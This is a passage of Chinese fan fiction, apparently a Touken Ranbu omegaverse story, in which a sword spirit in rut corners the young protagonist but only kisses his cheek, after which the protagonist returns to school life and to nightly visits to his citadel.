看起来平常没有任何问题的信浓藤四郎突然睁开了眼睛,他的呼吸急促,大口大口喘息着,呼出的气体都是滚烫的,周围反应状态的信息素像岩浆一样厚重灼热。 不对劲。 鹤见悠纪连忙后退两步,警惕地看着他,药研藤四郎也迅速档在了他的面前,防备地看着眼前的这一幕。 他感知到空气中alpha的信息素变得越来越糟糕了,显然易感期的信浓藤四郎确实充满了占有欲和攻击性。 这是alpha的普遍特征,就算是莫名其妙延长了易感期的信浓藤四郎在这诡异的状态里,也没有逃离这个共性。 三人僵持。 等再次安静下来,鹤见悠纪才从药研藤四郎身后重新轻轻探出脑袋,却一下对上一双通红的眼眶!—— 作者有话说: 第54章 药研藤四郎被信浓藤四郎拽出去了,事情发生的突然,甚至在所有人眼前他被直接踹出了房门。 药研藤四郎刚止住惯性就一瞬间翻过身来,想要再次打开门。 然而,不知何时门已经被锁上,不论他用刀怎么劈开门都没有人半分动静,只能透过窗户向里看去。 至于窗户虽然看起来是空的,实际上也有一层由灵力组成的屏障,本就是为了防止暗堕付丧神逃出来的,怎么可能那么容易就被攻破。 屋内信浓藤四郎已经挣脱了束缚。 “怎么才能打开?快!” 药研藤四郎焦急地看向格织这个现场唯一一个看起来有办法的人。 格织没想到自己只是一瞬没反应过来,眼前就发生了这样颠倒的事情。 他立刻去搬救兵:“我去找专业的人来,这个我也做不到,一定坚持住啊!” 厚藤四郎和药研藤四郎听了这话心中一阵无力,又是愤怒之极。 坚持住,怎么坚持住?! 他们一看就不是战斗型的主人和处于易感期的alpha共处一室……谁都知道omega和一个易感期的alpha共处一室会发生什么事情! 然而现在他们却无能为力,就算用尽全力,也不能破坏半分眼前的屏障。 平常安全极了的屏障,现直接成为了他们保护大将的阻碍。 药研藤四郎手砸在屏障上,指节处被砸出鲜血,他像没感觉一样不甘心地看着窗内。 付丧神呼唤着鹤见悠纪,然而他的声音也被连带着一起被屏蔽在外,屋内的人根本听不到外面一丝一毫的声音。 屋内,鹤见悠纪看着面前爬起来一步一步向自己逼近的付丧神瞬间乱了脚步。 空气中alpha的信息素躁动又充满欲望,他当然知道那是什么意思,不得不被逼着一步一步向后退去,直到最后贴上墙壁,再无退路。 冰冷的墙壁贴在后背上,让大脑一个机灵,他十分清醒,瑟缩着想要躲避,可是眼前的付丧神却步步紧逼,没有任何想要放过他的意思。 可恶啊,可恶,这家伙难道是要在这里干了自己吗! 鹤见悠纪愿意缔结契约的这种方式来解除他们的暗堕是在他看来这并没有除了时间以外的任何损失。 但如果要让他做这种事情的话,他可就不乐意了。 可恶,现在究竟谁能来帮他? 鹤见悠纪咬牙,他左看右看,和窗外目眦尽裂的付丧神们对上眼神。 双手鲜血淋漓,杀人如麻的本体也对屏障造不成伤害,他就知道他们无法拯救自己了。 “信浓……” 鹤见悠纪深呼吸,他回神,试探着叫眼前付丧神的名字。 但是对方没有任何反应,已经被易感期完全控制了。 alpha这种生物的欲望和占有欲很可怕,鹤见悠纪伸出手使劲推信浓藤四郎,却怎么也推不动。 他想要像曾经看到过的教程一样,蹲下身子从侧边绕过去,可是距离太近了,他早已错失良机,根本没有空间向下缩去。 心跳的飞快,牙齿咬着嘴唇,几乎泛白。 鹤见悠纪有些害怕。 看着那张熟悉的阳光的脸在自己面前逐渐放大,变得让他陌生又恐惧,鹤见悠纪咬牙闭上眼睛,已经接受这个事实。 身体被压成了墙上怎么也动弹不得,身体在微微颤抖,少年大脑一片空白。 然而,下一秒,一片柔软温暖的触感贴在脸颊上,一触即分。 紧接着身上所有的压制都卸去了,沉闷的跌落在地上的声音随之在耳边响起。 诶……? 鹤见悠纪没有感受到意料之中的被强制的感觉,他迷茫地睁开眼睛,就看见刚刚还对自己一脸凶样的信浓藤四郎已经倒在了地上不再动弹。 他动作小心翼翼地靠近蹲下,颤抖着伸出手指,他试探对方的鼻息,然后就松了一口气。 不对。 自己在想什么呢?竟然还以为信浓藤四郎突然死掉了…… 只不过刚刚又是怎么回事? 那样陌生的触感落在脸颊上,他又觉得有些熟悉。 直到视线落在对方的唇部的时候,他才恍然反应过来,那是一个极轻极克制的亲吻。 明明状态那么恐怖,都已经让他屏住呼吸准备破罐子破摔了。 结果做的事就只是留下一个轻轻的吻吗?还是青涩的脸颊吻。 就连当初的药研藤四郎也不见得有这么青涩。 鹤见悠纪松了口气,他站起身。 只不过信浓藤四郎为什么会突然躺在地上看起来像是睡着了的样子? 不过没有时间想那么多了,确定信浓藤四郎真的没什么反应之后,鹤见悠纪眼神一凛迅速将门口冲去。 刚刚从外面怎么也打不开的门他从内部轻轻一按便就打开了,鹤见悠纪没有停顿,他冲了出去,下一秒被药研藤四郎紧紧抱在怀里。 “没事了没事了,别怕,别怕……”药研藤四郎声音努力镇定,杀意在兄弟身上一闪而过,又被压制下去,“抱歉……” “没关系。” 少年的身体是瘫软的,是恐惧的,然而被抱在怀中的时候,他全身心依托在付丧神的身上。 付丧神的手臂也不负所托,如想象中一样有力地支撑着他站了起来。 慢一步的厚藤四郎也从后方靠近,他揉了揉少年的脑袋,想要安抚他。 “没关系的,厚,我没事。” 两个人安心的气息环绕着鹤见悠纪,让他不安着跳个不停的心脏终于停了下来。 他被两人带着远离这个地方,来到一片安静的休息处。 鹤见悠纪半晌才在药研藤四郎的怀里抬起头,他的声音还是有些无措:“信浓是突然怎么了?” 药研藤四郎把他重新按回自己的颈窝,安慰着:“没事的,没事的……下次绝对不会离开你身边了。” 他的声音里充满懊悔,却又不再提刚刚的事情的具体信息,少年的情绪好不容易稳定下来,绝不可再次被刺激。 而且……所有人都看见了,信浓藤四郎把鹤见悠纪逼近墙角,然后快速的往少年脸上怼了一下的场景。 鹤见悠纪收敛心情,又将人推开,他没有和药研藤四郎和厚藤四郎开口说话,直直离开休息室,刚反手关上门,就对上赶过来的格织。 男人满头的汗,看见他的时候顿时松口气,抹了一把额头的汗水:“幸好你没事,看来这些房间的设备还是不够灵活……” “可以带我去看看后藤吗?”鹤见悠纪不想和他在这个话题上聊太多。 他心情有点不太好,虽然最后信浓藤四郎并没有做什么,但是最开始的样子还是吓到他了。 格织看出他的状态,便也闭了嘴,脸上带起熟悉的亲切的笑容,“当然,跟我来吧。” 鹤见悠纪推开门时,也不知是不是刚好,后藤藤四郎已经醒了过来。 呆呆地坐在床上的付丧神听见声音猛地抬起头向门口看来,和鹤见悠纪对上视线的时候,更是瞳孔一缩。 他知道发生了什么,有人告诉了他,只不过他没想到在自己醒来后短时间内能够见到审神者。 鹤见悠纪倒是对他已经醒来的状态接受良好,反正付丧神就是这样身体素质极好又不讲道理的生物。 他反手关上门,从一边拖了一把椅子过来,在后藤藤四郎旁边坐下:“感觉怎么样了?” 少年的声音平静,看不出一丝刚刚还遭受了一番惊吓和震惊的样子。 后藤藤四郎点了点头,他有些尴尬地清咳了两声:“我没事了,抱歉,之前实在是失态。” 心中的那些还未燃起的情绪在一瞬间被暗堕扩大,又明晃晃的摆了出来,甚至现在,那些被扩大的情绪回归了正常的水平,却怎么也无法再回到最初那幅刚刚生起懵懂的情绪的状态了。 他终究是被暗堕带着加快了沦陷的速度。 就算是兄弟最先和审神者在一起的又如何。 现在,也是他的大将了。 “没事。” 鹤见悠纪不太在意,他打了个哈欠:“反正我自己机灵也没受什么伤,没什么大事就行了。” 既然要离开了,他也就不想去在意这个又在意那个的徒增几分羁绊了。 后藤藤四郎看着他这副无所谓原谅的样子却有些无措。 他想自己应该是开心的,毕竟做的错事被原谅了,而且还和这么温柔的人签订契约。身上的暗堕消失,眼前的人和他的再造之主没什么区别。 可是就是因为这丝无所谓,反而让他心里有些痛痛的。 不论是动手也好,怒骂也罢,可就是这样无所谓的态度最让人心痛。 就好像他这个人对于对方来说并没有什么意义,不论他是死了活了好的坏的都无所谓。 这样的话…… 后藤藤四郎低头,他的视线恍惚,又突然定住,缓缓的停在鹤见悠纪有些颤抖的腿上,one散去,更重要的发现占据他的心神。 “您的腿受伤了吗?” 他的声音从不自觉露出几分在意。 鹤见悠纪眨了眨眼,他摇了摇头:“不是吧。” 他解释:“是之前你突然来我房间的时候,我从窗户光脚逃出去踩到锋利的物品了,所以脚底有点伤口不能久站久走,不然就会现在这样。不过也没什么大问题,痛就痛点吧,又不会裂开,也不会流血了。” 他摆着手,侧着身子,斜靠在椅子的后背上,视线落在一边却没有聚焦。 后藤藤四郎看着他的样子,有些难受:“还是要在意点自己的身体,若是不方便走路的话就……” “就什么?”鹤见悠纪还是侧着脑袋没有看到,好像不愿和他面对面,却突然打断了付丧神的话,“就让别人带着我走吗?还是直接把我背起来?” 后藤藤四郎确实是这么想的,既然受伤的话,那就该好好养着。 鹤见悠纪摇了摇头,他叹着气回过头来:“我之后也不会和你们一直在一起,接下来养伤的这段日子,我得学会靠自己才行。” “什么?”几乎是一瞬间,后藤藤四郎的话就问出口了。 他听出了少年话语中的潜意思,他猛地凑近想要抓住对方的手腕,然而临到了又胆怯地收了回来,只眼中冒出几分惴惴不安: “明明才刚刚建立的契约,为什么要抛弃我?” 他以为对方就算是生气或者是不在意,他也不会讨厌他的,契约……哪有刚建立的契约就解除契约的说法! 自古从来没有! “怎么能说是抛弃,”鹤见悠纪反驳,“只是帮你们祛除暗堕而已,如果不是因为祛除暗堕我们怎么会建立契约?我只不过是修正错误而已。” 但是现在他的审神者要这么做。 后藤藤四郎脸色煞白,还不知道其他和自己同样建立了契约的兄弟们知不知道这件事。 但是看着少年坚定的面容、皱起的眉头和没有丝毫颤抖的声音,他就知道,对方心里是真的这么想的。 他的手突然收紧了,手指紧紧的握成拳头,指甲在手心处带出几分刺痛,显然已经用力刀陷入了血肉里。 后藤藤四郎的声音带着几分沙哑,像是在做最后的挣扎:“可否让我跟在你的身边呢?只是想作为您的刀剑的身份活下去而已。” 这条命是对方续下来的,若是转头认了其他的主,是否有太荒谬了些。 而且无法否定的是他的这颗心早就已经被牵挂着走了。 鹤见悠纪没有说话,他起身离开了,离开时还动作轻轻地关上了门。 后藤藤四郎不知道该怎么办,他起身,有些失力的身体带着他,几乎下一秒就要直接倒下去,他反应迅速,猛地一手撑在地面上,而后直起身来,跌跌撞撞地向屋外走去。 他得告诉兄弟们,大家一起想想办法。 不能,就这样成为败犬。 另一边,鹤见悠纪跟着格织走到休息室里,那里已经准备好了热茶和食物。 男人招呼着他坐下:“辛苦了,快来吃点东西,喝点东西,休息休息。” 鹤见悠纪没有接他的话,他刚放松下来的心又提起来了。 少年定定地看着躺在一边沙发上的信浓藤四郎,面无表情:“他为什么会在这里?” 那么多个休息室,偏偏选了一个把信浓藤四郎搬过来的休息室,要说这其中没有心思,他可不信。 格织但笑不语,就是给他倒了一杯热茶,推到少年的面前。 鹤见悠纪没有接,他几步靠近信浓藤四郎,红发付丧神静静的躺在那里丝毫看不出刚刚危险的模样,也瞧不出最后搞了大动作结果只是往他脸颊上贴了一下。 那样的生涩,其实甚至算不上一个面颊吻。 格织看着他沉默的样子,细细品尝自己手中的茶水,在热气氤氲中轻轻叹谓着。 半晌,他问:“到现在这样,您还是想要直接解除契约回家去,再也不接触了吗?” 他们这是阳谋。 鹤见悠纪弯腰,将信浓藤四郎额角凌乱的发理了理。 付丧神睡得不太安稳,但是自己触碰上去时,皱起的眉头瞬间松开。 他没说话。 但心中的翻涌,只有他自己知道—— 作者有话说:【】 【正文完】 第55章 今天风平浪静,鹤见家的气氛却一改之前的死一样的寂静,因为他们家失踪了月余的孩子终于找到了。 可恶的人贩子怎么也找不到,但是并不妨碍一家人终于松了口气。 鹤见悠纪挣扎着从被子怪物的束缚下逃了出来,整个人懒懒散散的,他抓起一边早已准备好的衣服,熟练地套在身上。 渴望的平静生活终于回到了他的手中,然而鹤见悠纪今天看起来依旧是无精打采,甚至感觉还有几分说不出的疲倦。 坐到桌子边,早已准备好的食物摆放在那里,却不见大人的影子,鹤见悠纪习以为常,讲放在桌子上的纸条认真看了看,没有什么问题。 他父母的工作较忙,之前为了寻找他已经请了很久的假,但是在找回来三天之后两人还是陆陆续续回到了公司里。 但鹤见悠纪也并不像大众文学里所描述的那样是个缺爱的孩子。 父母工作繁忙,却也并不是24小时的工作 ,早晨会比他先行离开学校,但是晚上却是鹤见悠纪更晚回来。 鹤见悠纪揉了揉脑袋,喉结滚动,咽下最后一口食物后,又顺手把牛奶一饮而尽。 “唉……”他叹了口气,这样轻松的日子果然还是很舒服,不枉他那么努力回家来。 今天的太阳暖洋洋的,学校并不算远,鹤见悠纪抬起手腕,时间也还早,他难得有兴致就选择步行过去。 脚底的伤口经过养护已经不会在痛了,但是行走的时候还是能感受到脚底的一点异样,就像那一场梦一样不真实的东西永久留在他身上的印记。 但是假以时日,就算不会彻底消失,在现在的医疗手段下应该还能恢复得更好些,就是需要一点时间。 走进学校,人变得越来越多了,鹤见悠纪有些恍惚的神情也终于收敛起来。 但放松没两秒,后背突然传来熟悉的强烈的推背感以及从脖子处施加而来的力量,耳边声音炸开:“悠纪,今天怎么看起来很没有精神的样子!要不要和我去练练……” “打住。”鹤见悠纪利用自己的灵活迅速脱离,对同学表示警惕,“我昨天熬夜了没睡好,今天就不和你打了。” “怎么这样!这可不行啊,没有你我在社团都觉得没意思了。” 鹤见悠纪不答话,冷漠地朝着教室走去,现在的他在明面上可是一个彻头彻尾的病号,别说社团请个假了,就算是直接不来上学他的情况也是说的过去的。 鹤见悠纪打起精神,一边和越来越多的同学们笑着打招呼,一边在心里感叹自己从时之政府回来被送进医院大检查的那个结果。 感觉自己好像死过一遭一样,弱的可怕,鹤见悠纪虽然表示疑惑,自己除了脚底的伤口以外哪里还有受到别的伤。 只不过对上父母下一刻就要哭晕过去的样子,他也实在是没办法对着权威机构说自己真的没有问题,从omega的身份恢复到正常人内的过程中他的身体激素显得特别奇怪,只不过,在医院待了一周之后确定自己没问题的父母在他医学奇迹一样瞬间恢复的数据冲击下神奇的接受了。 只不过,这种不正常的东西,也就只有只在乎自己安危的父母不会有别的心思了。 只不过。这些东西有人会帮他全部摆平,在这些资料流入不怀好意的人手里之前都会被毁灭得干干净净。 鹤见悠纪坐在了教室里,他开始拿出自己的书,刚在路上邀请他社团活动时对战的同学坐在了他的身后,整个人也焉答答。 鹤见悠纪疑惑地瞅了他一眼,但看起来没啥大问题就收回视线继续认真学习了。 催眠的上课声在耳边立体环绕,鹤见悠纪一手撑在桌子上,一手支着脑袋,眼睛轻轻颤动,像是极轻的蝴蝶。 乌黑的发丝随着他困倦的一点一点的动作垂了下来,凌乱地落下阴影。遮住眼睛。 他的动作明显,手上也没有动作,老师早就发现了他,本想将人叫醒,但是看着少年脆弱的后颈,又想起班主任的嘱托,便也就放过了。 一个失踪了一个月回来之后弱得不像话的孩子,现在正是高三,不知道撑不撑得过去。 也是造孽。 昨夜熬了夜现在困得恨不得就地躺下的鹤见悠纪并不知道自己在各位老师的眼里早已成了脆皮。 他的大脑混沌,还有一搭没一搭地思考着今晚要不要继续过去。 他实在是困得遭不住了。 只不过一天的课他还是要努力坚持过去,不然父母又要担心了。 上课,下课,午休,上课,下课……鹤见悠纪感觉自己变成了一块尸体,处于清醒和不清醒之间。 总而言之,活下来了。 鹤见悠纪吐魂,早上利索地收拾自己的精气神完全消失了,一天的课下来,虽然社团活动请假了,但还是像去了半条命。 果然是不上学的时候想念上学,上学了就特别渴望放假,甚至期待发生一场只毁灭学校教学楼的灾难。 可恶啊,他究竟为什么要选择回来…… 鹤见悠纪痛苦万分,在回家的路上走着都想被抽走了灵魂一样。 脚下都是轻飘飘的,他缓慢前行,努力用思考晚饭是什么打起精神来。 路过一道小巷时,鹤见悠纪已经哄好了自己,衣兜里的手机突然震动。 他顿住,拿出手机,看着上面的信息眨了眨眼,嘴角不自觉勾起,又带着几分开心的痛苦。 好纠结。 今晚也要努力工作吗? 不对,说不定也可以是去睡一觉。 毕竟昨天是临时加班,也没哪个上司会故意给自己还是学生的下属派发过多任务的。 鹤见悠纪揉了揉眼睛,他撇了撇嘴,还是回了信息。 下一秒,他拨通了母亲的号码:“这里是鹤见悠纪,妈妈,今晚我可能要在外面过夜……” “……” “嗯,是的。” “……” “别担心,不会有事的。” “……” “好,我明天一定就在家里。” 挂了电话,鹤见悠纪收回手机,他无奈转身走进小巷,一阵风吹过,走进巷道的少年的身影彻底消失。 时空转移的感觉是很奇妙的,在落入另一个世界的一瞬间,后颈带起一阵温意。 鹤见悠纪睁开眼睛,还没看清眼前的人,只感受到粉色的樱花在身边飘散、环绕,他的身体就已经被争先恐后地抱住了。 耳边是难掩高兴的成熟声音: “大将,欢迎回家。” 温热的气息洒在耳垂上,带出几分痒意。 这倒是这几天的老套路了。 还有其他的,争论着竟然可恶地调虎离山的不爽声音。 为什么今天也很有活力啊,所以累的只有自己吗? 鹤见悠纪虽然吐槽着,眼中却没有几分真切的不满。 他抬起手,用同样的姿态回应了这个拥抱。 他们的审神者声音温和,向所有人说: “我回来了,大家。”—— 作者有话说《 》